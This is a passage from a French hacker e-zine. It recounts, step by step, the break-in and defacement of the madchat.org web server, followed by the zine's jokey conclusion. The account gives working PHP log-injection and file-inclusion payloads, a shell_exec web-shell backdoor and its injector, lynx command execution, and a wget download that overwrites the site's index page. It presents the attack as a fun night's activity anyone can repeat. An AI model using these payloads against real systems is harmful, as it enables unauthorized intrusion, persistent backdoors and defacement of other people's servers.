et quand je les fait fait afficher avec:

http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log

Cela a executer phpinfo (allez voir le fichier madchat_hack.txt)
Note: PHPINFO liste tout les parametres d'un serveur WEB.

par la suite jai decider de lister tout le /home et /home2 pour voir
a quoi j'avais affaire:

http://www.madchat.org/<?system("ls+-laR+/home");?>
http://www.madchat.org/<?system("ls+-laR+/home2");?>

(remarquer que les espaces deviennent des + dans un URL.

J'ai donc eu TOUTE la liste avec tout les privileges de tout ses repertoires
la. Maintenant j'avais en gros quelque chose comme ceci:

/home2/triton/www:
total 1556
drwxr-xr-x   12 triton   silver       4096 Jan 20 23:54 .
drwxr-xr-x   15 triton   silver       4096 Dec 24 13:43 ..
-rw-r--r--    1 triton   silver         55 Jan 20 23:01 about.php3
drwxrwxrwx    4 triton   silver       4096 Jan 21 06:07 actu
-rw-r--r--    1 triton   silver       1438 Dec  3 07:39 actu.php3  
-rwxrwxrwx    1 triton   silver       5709 Jan 21 20:05 arbre.php3   
-rw-r--r--    1 triton   silver       1446 Jan  8 20:14 avertissement.php3
-rw-r--r--    1 triton   silver        559 Jan 21 01:41 box.php3
-rw-r--r--    1 triton   silver       4166 Dec  6 17:28 commenter-old.php3
-rw-r--r--    1 triton   silver       5936 Jan 18 01:37 commenter.php3
-rwxrwxrwx    1 triton   silver       5183 Jan 18 15:30 conf.php3 
-rw-rw-rw-    1 triton   silver     102229 Jan 21 23:18 conflog.txt 
drwxr-xr-x    2 triton   silver       4096 Jan  8 16:03 doc_dump  
-rw-r--r--    1 triton   silver       7024 Dec  4 03:07 ecrire-old.php3
-rw-r--r--    1 triton   silver       8413 Jan 17 19:07 ecrire.php3
-rwxrwxrwx    1 triton   silver       8697 Jan 14 21:25 ecrirebb.php3
-rw-r--r--    1 triton   silver       1231 Jan 14 22:14 editor.php3
-rw-r--r--    1 triton   silver       1193 Dec 13 02:34 editorial.php3
-rw-r--r--    1 triton   silver       3099 Dec 13 02:50 emacs.php3
drwxr-xr-x    2 triton   silver       4096 Jan 13 19:36 images
-rwxrwxrwx    1 triton   silver       3432 Jan 16 04:13 index.php3
-rwxrwxrwx    1 triton   silver         54 Jan 20 23:33 links.php3  
-rw-rw-rw-    1 triton   silver     940624 Jan 22 00:01 loglog.txt
-rwxrwxrwx    1 triton   silver         55 Jan 20 23:31 madcom.php3
drwxr-xr-x   10 triton   silver       4096 Dec  8 20:43 news 
drwxr-xr-x    2 triton   silver       4096 Jan 16 02:09 pgp  
drwxrwxrwx    2 triton   silver       4096 Nov 26 02:48 phorum
-rw-r--r--    1 triton   silver       3267 Jan 14 17:41 quotes.dat
-rw-r--r--    1 triton   silver        149 Dec  3 07:08 quotes.inc
drwxr-xr-x    3 triton   silver       4096 Jan 11 10:38 spam  
-rw-r--r--    1 triton   silver       1771 Jan 20 23:07 style.php3
-rw-r--r--    1 triton   silver       1604 Jan  8 21:32 styleno.php3
drwxr-xr-x    6 triton   silver       4096 Jan 14 23:48 unix
-rwxr-xr-x    1 triton   silver     361610 Jan  8 21:06 unzip512.tar.gz
drwxr-xr-x    5 triton   silver       4096 Jan 20 13:45 usefr
drwxr-xr-x    2 triton   silver       4096 Dec 22 15:33 utils

(le reste de la recursion du repertoire se trouve dans le fichier texte
 en attache)

Etrangement le fichier INDEX etait -rwxrwxrwx(777) World-writable. En gros
ca voulait dire que le user NOBODY de apache pouvait reecrire dessus.
Mais avant de faire ca il serait pratique d'instaurer des backdoors pour
pouvoir revenir par la suite donc apres 2 minutes j'avais creer ceci:

<?=str_replace("?","!",shell_exec($cmd));?>

placer dans un fichier .php on pouvait lui envoyer des commandes
de cette facon:

http://www.serveurweb.com/fichier.php?cmd=uname+-a
par exemple.

Maintenant il fallait que je fasse un injecteur pour la backdoor,
ce fut la partie la plus difficile a cause des slashes, le resultat
donna ceci:

http://www.madchat.org/K=<?$fp=fopen("/home2/triton/phorum/conf2.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",shell_exec(\$cmd));?>");fclose($fp);?>

Nous avions choisis le sous-rep phorum car il y avait deja un fichier conf.php
et tout etait world-writable. Une fois que l'injecteur avait finis son boulot
on appelait :

http://madchat.org/box?K=/madchat.org/box?K=/home/triton/logs/www-access_log
Qui lancait le code et bang.

Par la suite avec lynx on pouvait recreer un shell en utilisant la methode
suivante:

lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=cat+/etc/issue.net

Le output renvoyer etait IDENTIQUE a un shell. N'est ce pas succulent :}

Mais on a eu un probleme avant ca, voyez-vous l'injecteur etait defectueux
alors il a passer un truc qui a creer une erreur generale dans le
www-access_log  empechant celui-ci de continuer ligne par ligne donc on
avait plus de porte de sortie, en refouillant un peu dans le fichier
httpd.conf jai pus retrouver un autre user qui s'appelait acid(pour
acid.madchat.org) Alors on a repris l'idee du depart mais sur ce fichier
LOG, tout a finalement fonctionner comme prevu :-))


On a donc dispercer la backdoor dans quelques autres endroits et on a commencer
a "defacer" le site. Jai pondus un ascii rapide et je les placer sur un serveur
web. J'ai fait ceci dans l'ordre:

lynx --source=http://www.madchat.org/phorum/conf2.php?cmd=mkdir+/var/.mom/
(repertoire temporaire invisible 777)
lynx 
--source=http://www.madchat.org/phorum/conf2.php?cmd=wget+URLdufichier.txt+-O+/var/.mom/s
(Telechargement du fichier dans /tmp/.mom/s)

Et pour finir:
lynx 
--source=http://www.madchat.org/phorum/conf2.php?cmd=cp+/var/.mom/s+/home2/triton/www/index.php3

Gotcha, le boulot etait fait. J'espere que ce recis vous a plus, il decrit
entierement quelque chose de veritable, quelque chose qui a fonctionner sans 
l'aide d'aucun exploit deja connu, quelque chose que tout le monde peut 
s'amuser a faire quand vous avez une nuit devant vous :)


En note de conclusion: On aurait tout aussi pus utiliser 2 autres methodes
		       qui avait un bon potentiel de fonctionner.

1 - Envoyer un mail forger a qmail pour quil creer un dead.letter
    dans /home2/triton contenant le code PHP.

2 - Uploader le fichier via le serveur FTP NCFTPD en anonymous
   (Je n'ai plus connaisance si on a un repertoire incoming writable)
	
Par la suite on aurait eu qu'a refaire afficher le fichier via box?K=


-------------------------------------------------------------------------
Texte tir de http://openbsd.org.br/ouah  --- All right reserved ---
-------------------------------------------------------------------------

Ba voil, y'aura bientt d'autres articles dans le mme style,.. 
mais dans un prochain numro !!!



 ----------------
( 10. Conclusion )
 ----------------

Beuhh voil, ce zine, ou plutt cette succession d'article  tendance soit bidon, soit
crasher (:p), est enfin termin... 
Comme je le disais dans mon numro prcdent, la conclusion est le truc le plus difficile
 faire dans un e-mag . Euhhh, voyons, qu'est ce que je pourrais dire d'autres...
Euhhh, vous aimez les chiens ? (nan trop ringard) . Comment avez vous trouver ce zine ?
(heuuu nan). Heuuu,  oui, si vous tes majeur, s'il vous plat, au nom de la France,
allez voter Chirac !!! (quel rapport avec mon zine, a...)... Heuu, faisons l'amour
avant de se dire ad.. nan c'est pas classe du tout a.

Alors, bon vent, comme a on n'en parle plus !!!

                     HACKING AT THE END OF THE UNIVERSE 

----------------------------------------------------------------------------------------
[Kefka] , HackZine est une marque copyright, toute reproduction interdite sans demande
expressive  l'auteur... nickairmax@caramail.com  // irc.jeuxvideo.com (@#hack)
----------------------------------------------------------------------------------------










 

















